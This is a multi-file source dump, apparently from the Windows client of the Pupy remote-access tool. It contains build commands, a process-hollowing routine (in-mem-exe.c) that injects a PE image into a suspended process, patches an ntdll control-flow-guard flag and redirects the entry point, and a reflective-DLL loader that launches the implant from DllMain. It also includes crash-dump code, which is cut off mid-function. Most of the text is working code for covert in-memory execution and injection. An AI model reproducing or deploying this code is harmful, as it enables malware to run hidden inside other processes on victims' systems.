make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32 clean
make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32
make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32 clean

make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32 clean
make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32
make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32 clean

make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64 clean
make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64
make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64 clean

make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64 clean
make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64
make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64 clean




for object in $TARGETS; do
    if [ -z "$object" ]; then
        continue
    fi

    if [ ! -f $TEMPLATES/$object ]; then
        echo "[-] $object - failed"
        FAILED=1
    fi
done

if [ -z "$FAILED" ]; then
    echo "[+] Build complete"
else
    echo "[-] Build failed"
    exit 1
fi


================================================
FILE: client/sources-windows-py3/in-mem-exe.c
================================================
/*
 * Prototype for in-memory executable execution.
 *
 * Improvements that need to be made:
 *
 *    - Support passing arguments to the executable
 *    - General testing with various executables
 *
 * skape
 * mmiller@hick.org
 * 05/09/2005
 *
 * x64 implementation RageLtMan [at] sempervictus.com
 * - original PE based method by steve10120 [at] ic0de.org
 */
//#include "precomp.h"

#ifndef _WIN32
typedef ULONG NTSTATUS;
#endif

typedef enum _PROCESSINFOCLASS
{
	ProcessBasicInformation = 0,
} PROCESSINFOCLASS;

typedef struct _MINI_PEB
{
	ULONG  Flags;
	LPVOID Mutant;
	LPVOID ImageBaseAddress;
} MINI_PEB, *PMINI_PEB;

typedef struct _PROCESS_BASIC_INFORMATION
{
	NTSTATUS  ExitStatus;
	PMINI_PEB PebBaseAddress;
	ULONG     AffinityMask;
	ULONG     BasePriority;
	HANDLE    UniqueProcessId;
	HANDLE    InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

BOOL MapNewExecutableRegionInProcess(
		IN HANDLE TargetProcessHandle,
		IN HANDLE TargetThreadHandle,
		IN LPVOID NewExecutableRawImage);

//
// Maps the contents of the executable image into the new process and unmaps
// the original executable.  All necessary fixups are performed to allow the
// transfer of execution control the new executable in a seamless fashion.
//
#ifdef _WIN64
//
// based on MemExec64 source by steve10120 [at] ic0de.org
//	clever method of getting contextinformation for entry point data, x64 doesnt give us ThreadContext.Eax
// adaptation for in-mem-exe.c by RageLtMan
// TODO: add wow64 launcher, add src/target image arch checks
//
BOOL MapNewExecutableRegionInProcess(
		IN HANDLE TargetProcessHandle,
		IN HANDLE TargetThreadHandle,
		IN LPVOID NewExecutableRawImage);

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
typedef LONG (WINAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG);

DWORD_PTR Align(DWORD_PTR Value, DWORD_PTR Alignment)
{
	DWORD_PTR dwResult = Value;

	if (Alignment > 0)
	{
		if ((Value % Alignment) > 0)
			dwResult = (Value + Alignment) - (Value % Alignment);
	}
	return dwResult;
}

BOOL MapNewExecutableRegionInProcess(
		IN HANDLE TargetProcessHandle,
		IN HANDLE TargetThreadHandle,
		IN LPVOID NewExecutableRawImage)
{
	PROCESS_INFORMATION       BasicInformation;
	PIMAGE_SECTION_HEADER     SectionHeader;
	PIMAGE_DOS_HEADER         DosHeader;
	PIMAGE_NT_HEADERS         NtHeader64;
	DWORD_PTR                 dwImageBase;
	NtUnmapViewOfSection      pNtUnmapViewOfSection;
	NtQueryInformationProcess pNtQueryInformationProcess;
	LPVOID                    pImageBase;
	SIZE_T                    dwBytesWritten;
	SIZE_T                    dwBytesRead;
	int                       Count;
	CONTEXT                   ThreadContext;
	PMINI_PEB                 ProcessPeb;
	ULONG                     SizeOfBasicInformation;
	BYTE                      iBrk = 0xCC;
	BYTE                      iOriginal = 0x0;

	HMODULE                   hNtlDll = NULL;
	PBYTE                     pRtlUserThreadStart = NULL;
	PBYTE                     pLdrSystemDllInitBlock = NULL;
	PULONGLONG                pulFlag = NULL;

	ULONGLONG                 ulFlags = 0;
	LONGLONG                  ulDiff = 0;
	LONGLONG                  ulOriginalFlags = 0;


	DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;
	if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
		return FALSE;

	NtHeader64 = (PIMAGE_NT_HEADERS64)((DWORD_PTR) NewExecutableRawImage + DosHeader->e_lfanew);
	if (NtHeader64->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;

	RtlZeroMemory(&ThreadContext, sizeof(ThreadContext));
	RtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION));
	ThreadContext.ContextFlags = CONTEXT_FULL;

	if (!GetThreadContext(TargetThreadHandle, &ThreadContext))
		return FALSE;

	if (!ReadProcessMemory(
			TargetProcessHandle,
			(LPCVOID)(ThreadContext.Rdx + 16),
			&dwImageBase,
			sizeof(DWORD_PTR),
			&dwBytesRead))
		return FALSE;

	pImageBase = VirtualAllocEx(
		TargetProcessHandle,
		(LPVOID)NtHeader64->OptionalHeader.ImageBase,
		NtHeader64->OptionalHeader.SizeOfImage,
		0x3000,
		PAGE_EXECUTE_READWRITE
	);
	if (!pImageBase || (DWORD_PTR) pImageBase != NtHeader64->OptionalHeader.ImageBase)
		return FALSE;

	if (!WriteProcessMemory(
		TargetProcessHandle,
		pImageBase,
		(LPCVOID)NewExecutableRawImage,
		NtHeader64->OptionalHeader.SizeOfHeaders,
		&dwBytesWritten))
		return FALSE;

	SectionHeader = IMAGE_FIRST_SECTION(NtHeader64);
	for (Count = 0; Count < NtHeader64->FileHeader.NumberOfSections; Count++) {
		if (!WriteProcessMemory(
				TargetProcessHandle,
				(LPVOID) ((DWORD_PTR)pImageBase + SectionHeader->VirtualAddress),
				(LPVOID)((DWORD_PTR)NewExecutableRawImage + SectionHeader->PointerToRawData),
				SectionHeader->SizeOfRawData, &dwBytesWritten))
			return FALSE;

		SectionHeader++;
	}

	WriteProcessMemory(
		TargetProcessHandle,
		(LPVOID)(ThreadContext.Rdx + 16),
		(LPVOID)&NtHeader64->OptionalHeader.ImageBase,
		sizeof(DWORD_PTR),
		&dwBytesWritten
	);

	ThreadContext.Rcx = (DWORD_PTR) pImageBase + NtHeader64->OptionalHeader.AddressOfEntryPoint;
	SetThreadContext(
		TargetThreadHandle,
		&ThreadContext
	);

	// CFG Workaround?
	// Check own flag
	//
	// Find offset for ntdll!RtlUserThreadStart == RIP
	// Find offset for ntdll!LdrSystemDllInitBlock
	// Find diff in current process
	// Expect that diff is same in parent process
	// current ntdll (ntdll!LdrSystemDllInitBlock+0xa8)
	// Check value in remote process
	// If 2000100000000010 - replace to 2000000000000000

	hNtlDll = GetModuleHandleA("NTDLL.DLL");
	if (hNtlDll) {
		pRtlUserThreadStart = (PBYTE) GetProcAddress(
			hNtlDll, "RtlUserThreadStart");

		pLdrSystemDllInitBlock = (PBYTE) GetProcAddress(
			hNtlDll, "LdrSystemDllInitBlock");

		if (pLdrSystemDllInitBlock && pRtlUserThreadStart) {
			pulFlag = (PULONGLONG) (pLdrSystemDllInitBlock + 0xa8);

			if (*pulFlag == 0x2000100000000010L) {
				ulDiff = ((LONGLONG) pLdrSystemDllInitBlock) -	\
					((LONGLONG) pRtlUserThreadStart);
			}
		}
	}

	if (ulDiff) {
		ReadProcessMemory(
			TargetProcessHandle,
			(PVOID)(ThreadContext.Rip + ulDiff + 0xa8),
			&ulOriginalFlags,
			sizeof(ulOriginalFlags),
			&dwBytesRead);


		if (ulOriginalFlags == 0x2000100000000010L) {
			ulOriginalFlags = 0x2000000000000000L;

			WriteProcessMemory(
				TargetProcessHandle,
				(PVOID) (ThreadContext.Rip + ulDiff + 0xa8),
				&ulOriginalFlags,
				sizeof(ulOriginalFlags),
				&dwBytesRead);
		}
	}

	return ResumeThread(TargetThreadHandle) != (DWORD) -1;
}

#else
BOOL MapNewExecutableRegionInProcess(
		IN HANDLE TargetProcessHandle,
		IN HANDLE TargetThreadHandle,
		IN LPVOID NewExecutableRawImage)
{
	PROCESS_BASIC_INFORMATION BasicInformation;
	PIMAGE_SECTION_HEADER     SectionHeader;
	PIMAGE_DOS_HEADER         DosHeader;
	PIMAGE_NT_HEADERS         NtHeader;
	PMINI_PEB                 ProcessPeb;
	NTSTATUS                  (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL;
	NTSTATUS                  (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL;
	NTSTATUS                  Status;
	CONTEXT                   ThreadContext;
	LPVOID                    OldEntryPoint = NULL;
	LPVOID                    TargetImageBase = NULL;
	ULONG                     SectionIndex = 0;
	ULONG                     SizeOfBasicInformation;
	BOOL                      Success = FALSE;


	//
	// Error checking? Bah.
	//
	DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;
	NtHeader  = (PIMAGE_NT_HEADERS)((PCHAR)NewExecutableRawImage + DosHeader->e_lfanew);

	do
	{
		//
		// Get the old entry point address by inspecting eax of the current
		// thread (which should be BaseProcessStart).  Eax holds the address
		// of the entry point for the executable when the process is created
		// suspended.
		//
		ZeroMemory(
				&ThreadContext,
				sizeof(ThreadContext));

		ThreadContext.ContextFlags = CONTEXT_INTEGER;

		if (!GetThreadContext(
					TargetThreadHandle,
					&ThreadContext))
		{
			break;
		}

		OldEntryPoint = (LPVOID) NtHeader->OptionalHeader.ImageBase;

		//
		// Unmap the old executable region in the child process to avoid
		// conflicts
		//
		NtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress(
				GetModuleHandle(
					TEXT("NTDLL")),
				"NtUnmapViewOfSection");

		NtUnmapViewOfSection(TargetProcessHandle, OldEntryPoint);

		//
		// Change the entry point address to the new executable's entry point
		//
		ThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint +
			NtHeader->OptionalHeader.ImageBase;

		if (!SetThreadContext(
					TargetThreadHandle,
					&ThreadContext))
			break;

		//
		// Allocate storage for the new executable in the child process
		//
		if (!(TargetImageBase = VirtualAllocEx(
						TargetProcessHandle,
						(LPVOID)NtHeader->OptionalHeader.ImageBase,
						NtHeader->OptionalHeader.SizeOfImage,
						MEM_COMMIT | MEM_RESERVE,
						PAGE_EXECUTE_READWRITE)))
			break;

		//
		// Update the executable's image base address in the PEB...
		//
		NtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress(
				GetModuleHandle(
					TEXT("NTDLL")),
				"NtQueryInformationProcess");

		if (NtQueryInformationProcess(
					TargetProcessHandle,
					ProcessBasicInformation,
					&BasicInformation,
					sizeof(BasicInformation),
					&SizeOfBasicInformation) != ERROR_SUCCESS)
			break;

		ProcessPeb = BasicInformation.PebBaseAddress;

		if (!WriteProcessMemory(
					TargetProcessHandle,
					(LPVOID)&ProcessPeb->ImageBaseAddress,
					(LPVOID)&NtHeader->OptionalHeader.ImageBase,
					sizeof(LPVOID),
					NULL))
			break;

		//
		// Copy the image headers and all of the section contents
		//
		if (!WriteProcessMemory(
					TargetProcessHandle,
					TargetImageBase,
					NewExecutableRawImage,
					NtHeader->OptionalHeader.SizeOfHeaders,
					NULL))
			break;

		Success = TRUE;
		for (SectionIndex = 0,
				SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
				SectionIndex < NtHeader->FileHeader.NumberOfSections;
				SectionIndex++)
		{
			//
			// Skip uninitialized data
			//
			if ((!SectionHeader[SectionIndex].SizeOfRawData) ||
					(SectionHeader[SectionIndex].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA))
				continue;

			if (!WriteProcessMemory(
						TargetProcessHandle,
						(LPVOID)((PCHAR)TargetImageBase +
							SectionHeader[SectionIndex].VirtualAddress),
						(LPVOID)((PCHAR)NewExecutableRawImage +
							SectionHeader[SectionIndex].PointerToRawData),
						SectionHeader[SectionIndex].SizeOfRawData,
						NULL))
			{
				Success = FALSE;
				break;
			}
		}

	} while (0);

	return Success;
}

#endif /* _WIN64 */


================================================
FILE: client/sources-windows-py3/main_exe.c
================================================
#include <windows.h>
#include <winbase.h>
#include <winuser.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <shellapi.h>
#include "pupy_load.h"
#include "debug.h"

#ifdef HAVE_WINDOW
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpszCmdLine, int nCmdShow)
{
    DWORD dwExitCode;

#ifdef DEBUG
    AttachConsole(-1);
#else
    FreeConsole();
#endif
    dprint("Have window\n");
#else
int main()
{
    DWORD dwExitCode;
    dprint("No window\n");
#endif

    dprint("Initialization...\n");
    initialize(FALSE);
    dprint("Execution...\n");
    dwExitCode = execute(NULL);
    dprint("Deinitialization...\n");
    deinitialize();
    dprint("Exit\n");

    return dwExitCode;
}

void setup_jvm_class(void) {}


================================================
FILE: client/sources-windows-py3/main_reflective.c
================================================
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/

#include <windows.h>
#include "pupy_load.h"
#include "debug.h"
#include "ReflectiveLoader.h"

#include "Python-dynload.h"
#include "jni_on_load.c"

HINSTANCE hAppInstance;

#define REFLECTIVE_SPECIAL 5

HANDLE hThread = NULL;

//===============================================================================================//

DWORD WINAPI delayedMainThread(LPVOID lpArg)
{
    Sleep(1000);
    return execute(lpArg);
}

__declspec(dllexport)
VOID WINAPI Launch()
{
    execute(NULL);
}

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    DWORD threadId;
    BOOL bReturnValue = TRUE;

    dprint("Call DllMain %d/%p\n", dwReason, lpReserved);

    switch( dwReason )
    {
        case DLL_QUERY_HMODULE:
            if( lpReserved != NULL )
                *(HMODULE *)lpReserved = hAppInstance;
        break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;

            initialize(TRUE);

            if (lpReserved == (LPVOID) 0x1) {
                dprint("Special: Request for non-delayed thread\n");
                execute(NULL);
                return TRUE;
            }

            if (!hThread && lpReserved != (LPVOID) 0x2) {
                dprint("Creating delayed thread from DllMain\n");

                hThread = CreateThread(
                    NULL,
                    0,      // dwStackSize
                    (LPTHREAD_START_ROUTINE) delayedMainThread,     // lpStartAddress
                    NULL,       // lpParameter
                    0,      // dwCreationFlags (0==run right after creation)
                    &threadId
               );
            }
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            dprint("Call deinitializer: %d\n", dwReason);
            if (hThread) {
                dprint("Wait until %p exited, reason: %d\n", hThread, dwReason);
                WaitForMultipleObjects(1, &hThread, TRUE, INFINITE);
                dprint("%p exited, completed\n", hThread);
            }

            deinitialize();
            break;
    }

    dprint("Call DllMain - completed\n");
    return bReturnValue;
}


================================================
FILE: client/sources-windows-py3/postmortem.c
================================================
#include <Shlobj.h>
#include <stdio.h>

#define PYTHON_DYNLOAD_OS_NO_BLOBS

#include "postmortem.h"
#include "debug.h"

#include "MyLoadLibrary.h"

#include "Python-stacktrace.h"
#include "Python-stacktrace.c"

#define ECODE(x) EXCEPTION_ ## x, # x

typedef BOOL (WINAPI *tGetPolicy)(LPDWORD lpFlags);
typedef BOOL (WINAPI *tSetPolicy)(DWORD dwFlags);

typedef struct _EXCMSG {
  DWORD dwExceptionCode;
  LPCSTR pszExceptionHuman;
} EXCMSG, *PEXCMSG;

static
LPCSTR code2str(DWORD dwExceptionCode) {
  size_t i;
  static const EXCMSG messages[] = {
    ECODE(ACCESS_VIOLATION),
    ECODE(ARRAY_BOUNDS_EXCEEDED),
    ECODE(BREAKPOINT),
    ECODE(DATATYPE_MISALIGNMENT),
    ECODE(FLT_DENORMAL_OPERAND),
    ECODE(FLT_DIVIDE_BY_ZERO),
    ECODE(FLT_INEXACT_RESULT),
    ECODE(FLT_INVALID_OPERATION),
    ECODE(FLT_OVERFLOW),
    ECODE(FLT_STACK_CHECK),
    ECODE(FLT_UNDERFLOW),
    ECODE(ILLEGAL_INSTRUCTION),
    ECODE(IN_PAGE_ERROR),
    ECODE(INT_DIVIDE_BY_ZERO),
    ECODE(INT_OVERFLOW),
    ECODE(INVALID_DISPOSITION),
    ECODE(NONCONTINUABLE_EXCEPTION),
    ECODE(PRIV_INSTRUCTION),
    ECODE(SINGLE_STEP),
    ECODE(STACK_OVERFLOW),
  };

  for (i = 0; i<sizeof(messages) / sizeof(EXCMSG); i++) {
    if (dwExceptionCode == messages[i].dwExceptionCode)
      return messages[i].pszExceptionHuman;
  }

  return "UNKNOWN";
}

typedef HRESULT (WINAPI *SHGetFolderPathAndSubDirW_t)(
  HWND   hwnd,
  int    csidl,
  HANDLE hToken,
  DWORD  dwFlags,
  LPCWSTR pszSubDir,
  LPWSTR pszPath
);

typedef DWORD (WINAPI *SymSetOptions_t)(
  DWORD SymOptions
);

typedef BOOL (WINAPI *SymInitialize_t)(
  HANDLE hProcess,
  PCSTR  UserSearchPath,
  BOOL   fInvadeProcess
);

typedef PVOID (WINAPI *SymFunctionTableAccess_t)(
  HANDLE hProcess,
  DWORD  AddrBase
);

typedef DWORD (WINAPI *SymGetModuleBase_t)(
  HANDLE hProcess,
  DWORD  dwAddr
);

typedef DWORD64 (WINAPI *SymGetModuleBase64_t)(
  HANDLE hProcess,
  DWORD64  dwAddr
);

typedef BOOL (WINAPI *SymGetSymFromAddr_t)(
  HANDLE           hProcess,
  DWORD            dwAddr,
  PDWORD           pdwDisplacement,
  PIMAGEHLP_SYMBOL Symbol
);

typedef BOOL (WINAPI *SymGetSymFromAddr64_t)(
  HANDLE             hProcess,
  DWORD64            qwAddr,
  PDWORD64           pdwDisplacement,
  PIMAGEHLP_SYMBOL64 Symbol
);

typedef BOOL (WINAPI *StackWalk_t)(
  DWORD  MachineType,
  HANDLE hProcess,
  HANDLE hThread,
  PVOID  StackFrame,
  PVOID  ContextRecord,
  PVOID  ReadMemoryRoutine,
  PVOID  FunctionTableAccessRoutine,
  PVOID  GetModuleBaseRoutine,
  PVOID  TranslateAddress
);

typedef BOOL (WINAPI *EnumProcessModules_t)(
  HANDLE  hProcess,
  HMODULE *lphModule,
  DWORD   cb,
  LPDWORD lpcbNeeded
);

#ifdef DEBUG
static
void CreateMiniDump(HMODULE hDbgHelp, LPCWSTR pwzFolder, EXCEPTION_POINTERS* pExceptionPointers) {
    BOOL blDumpCreated = FALSE;
    HANDLE hDumpFile = INVALID_HANDLE_VALUE;
    HANDLE hCurrentProcess = GetCurrentProcess();
    DWORD dwCurrentProcessId = GetCurrentProcessId();

    WCHAR minidump_path[MAX_PATH] = L"\0";

    MINIDUMP_EXCEPTION_INFORMATION mdei;

    MiniDumpWriteDump_t pMiniDumpWriteDump = (MiniDumpWriteDump_t) GetProcAddress(
      hDbgHelp, "MiniDumpWriteDump"
    );

    if (!pMiniDumpWriteDump) {
      dprint("Failed to find pMiniDumpWriteDump\n");
      return;
    }

    _snwprintf(
      minidump_path, sizeof(minidump_path) - 1,
      L"%s\\tmp_dump_%d.bin", pwzFolder, GetCurrentProcessId()
    );

    hDumpFile = CreateFileW(
      minidump_path,
      GENERIC_READ | GENERIC_WRITE,
      0, NULL,
      CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
      NULL
    );

    if (hDumpFile == NULL || hDumpFile == INVALID_HANDLE_VALUE) {
      dprint("Failed to create minidump file\n");
      return;
    }

    mdei.ThreadId           = GetCurrentThreadId();
    mdei.ExceptionPointers  = pExceptionPointers;
    mdei.ClientPointers     = FALSE;

    dprint(
      "HANDLE: %p PID: %08x HFILE: %p TYPE: %d\n",
        hCurrentProcess,
        dwCurrentProcessId,
        hDumpFile, MiniDumpNormal
    );

    if (pExceptionPointers) {
      dprint(
        "Using ExceptionPointers (PTR=%p) MDEI=%p TID=%08x\n",
        mdei.ExceptionPointers, &mdei, mdei.ThreadId
      );
    }

    blDumpCreated = pMiniDumpWriteDump(
      hCurrentProcess,
      dwCurrentProcessId,
      hDumpFile, MiniDumpWithFullMemory,
      pExceptionPointers? (&mdei) : NULL,
      NULL,
      NULL
    );

    CloseHandle(hDumpFile);

    if (blDumpCreated)
        dprint("Global crash handler completed successfully\n");
    else
      dprint("Global crash handler failed to create dump\n");
}
#endif

static
BOOL SaveLibraryInfo(PVOID pvCallbackData, LPCSTR pszName, PVOID pvBaseImage, ULONG ulSize)
{
    HANDLE hExceptionInfoFile = (HANDLE) pvCallbackData;
    CHAR module_info_buf[8192] = "\0";
    DWORD dwWritten;
    int module_info_buf_size;

    dprint(
      "SaveLibraryInfo called (%p, \"%s\", %p, %u)\n",
      pvCallbackData, pszName, pvBaseImage, ulSize
    );

    module_info_buf_size = snprintf(
      module_info_buf, sizeof(module_info_buf)-1, "%p - %p\t%s\n",
      pvBaseImage, (((UINT_PTR) pvBaseImage) + ulSize), pszName
    );

    dprint("+ %s", module_info_buf);

    if (module_info_buf_size > 0)
      return WriteFile(
          hExceptionInfoFile, module_info_buf, module_info_buf_size, &dwWritten, NULL
      );

    return FALSE;
}

static
void SavePythonStackTrace(
    PVOID pvCallbackData, LPCSTR pszFunction, LPCSTR pszFile, DWORD dwLine)
{
  CHAR buffer[8192];
  DWORD dwWritten;
  int buffer_len;
  HANDLE hExceptionInfoFile = (HANDLE) pvCallbackData;

  if (pszFile == NULL) {
    buffer_len = snprintf(
      buffer, sizeof(buffer)-1,
      "\n%s [%d]\n",
      pszFunction, dwLine
    );
  } else {
    dprint("Python stack: %s %s:%d\n", pszFunction, pszFile, dwLine);

    buffer_len = snprintf(
      buffer, sizeof(buffer)-1, "+ %s\t%s:%d\n",
      pszFunction, pszFile, dwLine
    );
  }

  if (buffer_len > 0)
    WriteFile(
      hExceptionInfoFile,
      buffer, buffer_len, &dwWritten, NULL
    );
}

#ifdef _WIN64
static
PVOID WINAPI PupyFunctionTableAccess(HANDLE  hProcess, DWORD64 AddrBase) {
  // hProcess - Ignoree
  DWORD64 ImageBase;
  return RtlLookupFunctionEntry((PVOID) AddrBase, &ImageBase, NULL);
}
#endif

static
#ifdef _WIN64
DWORD64 WINAPI PupyGetModuleBase(HANDLE  hProcess, DWORD64 pvAddr)
#else
DWORD WINAPI PupyGetModuleBase(HANDLE  hProcess, DWORD pvAddr)
#endif
{
  // hProcess - Ignoree
  PVOID pvModuleBase = NULL;
  if (MyFindMemoryModuleNameByAddr(pvAddr, NULL, &pvModuleBase, NULL))
    return pvModuleBase;
  else if (GetModuleHandleExA(
    GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,(LPCSTR) pvAddr, &pvModuleBase))
      return pvModuleBase;
  else
    return 0;
}


static
VOID SaveContextStack(HMODULE hDbgHelp, HANDLE hExceptionInfoFile, PCONTEXT pContext)
{
    BOOL                result;
    BOOL                blSymbolFound;
    HANDLE              process;
    HANDLE              thread;
    ULONG               frame;
    DWORD               dwWritten;
    CHAR                buffer[1024];
    int                 buffer_len;

#ifdef _WIN64
    STACKFRAME64              stack;
    IMAGEHLP_SYMBOL_STORAGE64 symbol_storage;
    PIMAGEHLP_SYMBOL64        symbol = &(symbol_storage.symbol);
    DWORD64                   displacement;

    SymSetOptions_t pSymSetOptions = (SymSetOptions_t)
      GetProcAddress(hDbgHelp, "SymSetOptions");

    SymInitialize_t pSymInitialize = (SymInitialize_t)
      GetProcAddress(hDbgHelp, "SymInitialize");

    SymGetSymFromAddr64_t pSymGetSymFromAddr64 = (SymGetSymFromAddr64_t)
      GetProcAddress(hDbgHelp, "SymGetSymFromAddr64");

    StackWalk_t pStackWalk = (StackWalk_t)
      GetProcAddress(hDbgHelp, "StackWalk64");

    if (! (pSymGetSymFromAddr64 && pStackWalk)) {
      dprint("Not all functions find at dbghelp\n");
      return;
    }

#else
    STACKFRAME              stack;
    IMAGEHLP_SYMBOL_STORAGE symbol_storage;
    PIMAGEHLP_SYMBOL        symbol = &(symbol_storage.symbol);
    DWORD                   displacement;

    SymSetOptions_t pSymSetOptions = (SymSetOptions_t)
      GetProcAddress(hDbgHelp, "SymSetOptions");

    SymInitialize_t pSymInitialize = (SymInitialize_t)
      GetProcAddress(hDbgHelp, "SymInitialize");

    SymFunctionTableAccess_t pSymFunctionTableAccess = (SymFunctionTableAccess_t)
      GetProcAddress(hDbgHelp, "SymFunctionTableAccess");

    SymGetSymFromAddr_t pSymGetSymFromAddr = (SymGetSymFromAddr_t)
      GetProcAddress(hDbgHelp, "SymGetSymFromAddr");

    StackWalk_t pStackWalk = (StackWalk_t)
      GetProcAddress(hDbgHelp, "StackWalk");

    if (! (pSymFunctionTableAccess && pSymGetSymFromAddr && pStackWalk)) {
      dprint("Not all functions find at dbghelp\n");
      return;
    }
#endif

    if (!pContext) {
      dprint("pContext is NULL\n");
      return;
    }

    pSymSetOptions(
      SYMOPT_NO_PROMPTS | SYMOPT_NO_IMAGE_SEARCH | SYMOPT_IGNORE_NT_SYMPATH | \
        SYMOPT_DISABLE_SYMSRV_AUTODETECT | SYMOPT_DEFERRED_LOADS
    );

    pSymInitialize(
      GetCurrentProcess(), NULL, TRUE
    );

    memset(&stack, 0, sizeof(stack));

    process                = GetCurrentProcess();
    thread                 = GetCurrentThread();
    displacement           = 0;
    stack.AddrPC.Mode      = AddrModeFlat;
    stack.AddrStack.Mode   = AddrModeFlat;
    stack.AddrFrame.Mode   = AddrModeFlat;

#ifdef _WIN64
    stack.AddrPC.Offset    = pContext->Rip;
    stack.AddrStack.Offset = pContext->Rsp;
    stack.AddrFrame.Offset = pContext->Rbp;
#else
    stack.AddrPC.Offset    = pContext->Eip;
    stack.AddrStack.Offset = pContext->Esp;
    stack.AddrFrame.Offset = pContext->Ebp;
#endif

    for( frame = 0; frame < 64; frame++ ) {
        LPCSTR pcModuleName = NULL;
        PVOID pcModuleBase = NULL;

        symbol->SizeOfStruct  = sizeof(symbol_storage.symbol);
        symbol->MaxNameLength = sizeof(symbol_storage) -
            sizeof(symbol_storage.symbol);

        blSymbolFound = False;

#ifdef _WIN64
        result = pStackWalk(
            IMAGE_FILE_MACHINE_AMD64,
            process,
            thread,
            &stack,
            pContext,
            NULL,
            PupyFunctionTableAccess,
            PupyGetModuleBase,
            NULL
        );

        pSymGetSymFromAddr64(
            process, (ULONG64) stack.AddrPC.Offset, &displacement, symbol
        );

#else
        result = pStackWalk(
            IMAGE_FILE_MACHINE_I386,
            process,
            thread,
            &stack,
            pContext,
            NULL,
            pSymFunctionTableAccess,
            PupyGetModuleBase,
            NULL
        );

        pSymGetSymFromAddr(
            process, (ULONG) stack.AddrPC.Offset, &displacement, symbol
        );

#endif
        if (blSymbolFound) {
          buffer_len = snprintf(
              buffer,
              sizeof(buffer) - 1,
              "+ %lu:\tSYS:%s\t(PC %p)\n",
              frame,
              symbol->Name,
              stack.AddrPC.Offset
          );
        } else {
          LPCSTR pcModuleName = NULL;
          PVOID pcModuleBase = NULL;

          if (MyFindMemoryModuleNameByAddr(
                stack.AddrPC.Offset, &pcModuleName, &pcModuleBase, NULL)) {
              buffer_len = snprintf(
                buffer,
                sizeof(buffer) - 1,
                "+ %lu:\t[PC %p]\tMEM:%s+0x%x\n",
                frame,
                stack.AddrPC.Offset,
                pcModuleName,
                ((UINT_PTR)stack.AddrPC.Offset) - ((UINT_PTR)pcModuleBase)
            );
          } else {
            HMODULE hSymbolModule;
            CHAR szModName[MAX_PATH];
            PCHAR pcModName = szModName;
            BOOL blFound = GetModuleHandleExA(
              GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
              (LPCSTR) stack.AddrPC.Offset,
              &hSymbolModule
            );

            if (blFound && GetModuleFileNameA(
                hSymbolModule, szModName, sizeof(szModName))) {

              PCHAR pcLastDm = strrchr(szModName, '\\');
              if (pcLastDm)
                pcModName = pcLastDm + 1;

              buffer_len = snprintf(
                  buffer,
                  sizeof(buffer) - 1,
                  "+ %lu:\t[PC %p]\tSYS:%s+0x%x\n",
                  frame, stack.AddrPC.Offset,
                  pcModName,
                  ((UINT_PTR)stack.AddrPC.Offset) - ((UINT_PTR)hSymbolModule)
              );
            } else {
              buffer_len = snprintf(
                  buffer,
                  sizeof(buffer) - 1,
                  "+ %lu:\t[PC %p]\t?\t\t\n",
                  frame,
                  stack.AddrPC.Offset
              );
            }
          }
        }

        if (buffer_len > 0)
          WriteFile(hExceptionInfoFile, buffer, buffer_len, &dwWritten, NULL);

        if( !result )
            break;
    }
}

#ifdef _WIN64
static
USHORT GetBackTrace(USHORT usFrames, PVOID* BackTrace)
{
    USHORT usFrame;
    CONTEXT ContextRecord;
    RtlCaptureContext(&ContextRecord);

    dprint("GetBackTrace: Start for %p\n", ContextRecord.Rip);

    for (usFrame = 0; usFrame < usFrames; usFrame++)
    {
        DWORD64 ImageBase;
        PVOID HandlerData;
        DWORD64 EstablisherFrame;

        PRUNTIME_FUNCTION pFunctionEntry = RtlLookupFunctionEntry(
          ContextRecord.Rip, &ImageBase, NULL
        );

        if (pFunctionEntry == NULL) {
            dprint("GetBackTrace: Break on %p\n", ContextRecord.Rip);
            break;
